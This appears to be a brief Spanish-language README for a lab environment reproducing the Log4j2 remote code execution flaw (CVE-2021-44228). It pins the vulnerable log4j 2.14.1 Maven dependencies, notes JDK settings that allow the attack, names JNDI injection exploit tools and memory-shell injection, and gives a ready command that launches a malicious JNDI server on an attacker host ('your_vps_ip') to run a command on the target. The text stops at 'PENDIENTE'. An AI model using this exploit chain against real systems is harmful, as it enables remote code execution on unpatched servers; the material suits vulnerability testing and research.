
Apache Log4j2 RCE (CVE-2021-44228) entorno de verificación
Desde el 2021.12.09
https://mp.weixin.qq.com/s/yck74F9p9QhVw_3ykzVoSg
Introducción de paquetes Maven y rangos de versiones vulnerables
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>


Relacionado con la versión de JDK, después de JDK 11.0.1, 8u191, 7u201, 6u211 es necesario configurar manualmente trustURLCodebase como true.
Para más detalles, consulte https://blog.0kami.cn/2020/03/01/java/jndi-with-ldap/
Formas de explotación, se pueden combinar con herramientas de inyección JNDI, como JNDI-Injection-Exploit , fastjson_rce_tool , JNDIExploit
También se pueden combinar herramientas para implementar varios métodos de retroalimentación (echo) ya conocidos e inyección de caballos de memoria (memory shell).
#
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a /System/Applications/Calculator.app" -A your_vps_ip

PENDIENTE
